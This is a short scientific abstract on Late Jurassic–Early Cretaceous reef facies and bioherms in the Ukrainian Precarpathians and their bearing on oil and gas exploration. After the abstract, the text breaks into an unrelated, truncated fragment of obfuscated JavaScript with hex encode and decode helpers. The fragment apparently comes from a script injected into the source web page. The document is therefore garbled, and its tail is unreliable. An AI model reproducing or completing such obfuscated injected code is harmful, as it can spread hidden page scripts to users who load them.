Abstract
In Ukrainian Precarpathians the Oxfordian-Valanginian sediments compose a common complex of carbonate rocks of reef and genetically related with them facies. The facial composition and stratigraphic correlation correspond to model of standard zones of carbonate shelf and was formed under the influence of the eustatic and tectonic processes. The paleobasin environments, facies boundaries and development have been determined. Oxfordian and Kimmeridgian bioherms, Opary barrier reef and 22 bioherms in Upper Tithonian–Lower Berriassian back-reef facies have been contoured. Since most of oil and gas deposits in Mesozoic complex of Precarpathians are related with biohermal constructions, it will be appropriate to use the obtained results as the basis for future exploration works in region. // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=,o=0;o
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